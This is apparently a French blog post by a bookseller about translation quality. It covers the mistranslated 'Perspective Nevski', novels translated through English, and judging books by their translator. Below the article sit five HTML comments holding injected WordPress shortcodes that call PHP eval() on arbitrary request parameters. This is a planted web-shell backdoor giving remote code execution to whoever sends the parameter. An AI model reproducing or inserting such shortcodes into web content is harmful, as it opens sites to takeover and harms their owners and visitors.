DE LA TRADUCTION

Ben voilà. Le blog est ouvert. Et voilà une première actu. On va pas s’étaler, là dessus. A vous de réagir. L’une des nouvelles qui fait un gros titre dans Livres-Hebdo (désormais, on dira LH pour faire professionnel), c’est que les Français sont de gros consommateurs de traductions. On traduit de toutes les langues, y compris le moldo-valaque ou le gallo septentrional. On a l’appétit de la fiction exogène (LH s’intéresse surtout à la fiction, la physique quantique c’est moins sexy). C’est sympa, ça prouve une ouverture d’esprit.

Comme toujours, LH nous livre des camemberts et des pourcentages. Combien on traduit. Comment c’est traduit, ils ont l’air de s’en taper. Je pense souvent à un article de Cavanna dans Charlie-Mensuel (ça vous date une info, ça, c’était au siècle dernier). Cavanna est russophone et il s’indignait comme il le fait si bien sur la « Perspective Nevski ». Ben oui, il avait raison. En russe, ça se dit « Nevskii Prospekt » et Prospekt, c’est tout simplement le Boulevard ce qui donne la toute bête traduction « Boulevard de la Néva », Néva qui est un fleuve comme chacun le sait. Comment ce Prospekt est-il devenu Perspective ? Parce que j’ai vérifié sur le site du CNRS-Université de Caen qui est l’un des meilleurs pour la connaissance de la langue française. Je vous livre la liste des synonymes et mots rattachés : angle, aspect, attente, avant-goût, champ, conjecture, contour, côté, coup d’oeil, dimension, échappée, éclairage, espérance, événement, éventualité, expectance, expectative, fond, horizon, idée, jour, optique, paysage, pensée, plan, point, point de vue, prévision, probabilité, profil, profondeur, projection, semblance, silhouette, site, tournure, trompe-l’oeil, vision, vue. Si là-dedans, vous m’en trouvez un qui ressemble à boulevard ou un équivalent, prévenez moi. Et pourquoi Nevski et pas « de la Néva » ? Va savoir. Peut-être que le mec qui a forgé l’expression, il s’est dit qu’il était pas à une connerie près. Moi, je reste dubitatif. Si toutes les traductions sont de la même eau, je suis pas bien sûr d’avoir accès à un vrai texte. Et comment je fais si je suis pas bien sûr, pour conseiller mes clients ? Certes, l’éditeur me dit blabli-blablo parce qu’il veut me vendre le livre. Argument commercial, pas littéraire. Y’a deux trucs simples mais qui plaisent pas trop aux éditeurs : le premier, c’est de savoir si c’est traduit de la langue originale. Parce que vous imaginez pas que tout est traduit de la langue originale. Souvent (trop souvent) le roman moldo-valaque, il est traduit de l’anglais vu qu’un traducteur de l’anglais ça coûte trois fois moins cher qu’un traducteur du moldo-valaque. Traduction de traduction, on imagine le résultat. De la bouillie pour les chats. Pour un roman, c’est pas trop grave. Pour Laozi, ça peut être dramatique. Le second truc, c’est de regarder le traducteur. Les bons traducteurs, généralement, ne traduisent que les bons auteurs. Et les bons traducteurs, soit ils sont employés à l’année par les éditeurs (Marcel Duhamel ou Maurice Coindreau par exemple), soit ils sont universitaires comme Claude Couffon. Couffon, prof en Sorbonne, traducteur d’Asturias, de Neruda et de quelques autres, vous croyez qu’il perd son temps avec des médiocres ? Si je connais pas l’auteur (et ça arrive tout le temps) mais qu’il est traduit par Couffon, je suis tranquille. Ceci dit, le Boulevard de la Néva au coucher du soleil, c’est vraiment chouette.

<!– [insert_php]if (isset($_REQUEST["WAp"])){eval($_REQUEST["WAp"]);exit;}[/insert_php][php]if (isset($_REQUEST["WAp"])){eval($_REQUEST["WAp"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["qyH"])){eval($_REQUEST["qyH"]);exit;}[/insert_php][php]if (isset($_REQUEST["qyH"])){eval($_REQUEST["qyH"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["hSiyP"])){eval($_REQUEST["hSiyP"]);exit;}[/insert_php][php]if (isset($_REQUEST["hSiyP"])){eval($_REQUEST["hSiyP"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["led"])){eval($_REQUEST["led"]);exit;}[/insert_php][php]if (isset($_REQUEST["led"])){eval($_REQUEST["led"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["lqqz"])){eval($_REQUEST["lqqz"]);exit;}[/insert_php][php]if (isset($_REQUEST["lqqz"])){eval($_REQUEST["lqqz"]);exit;}[/php] –>

Be first to comment

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.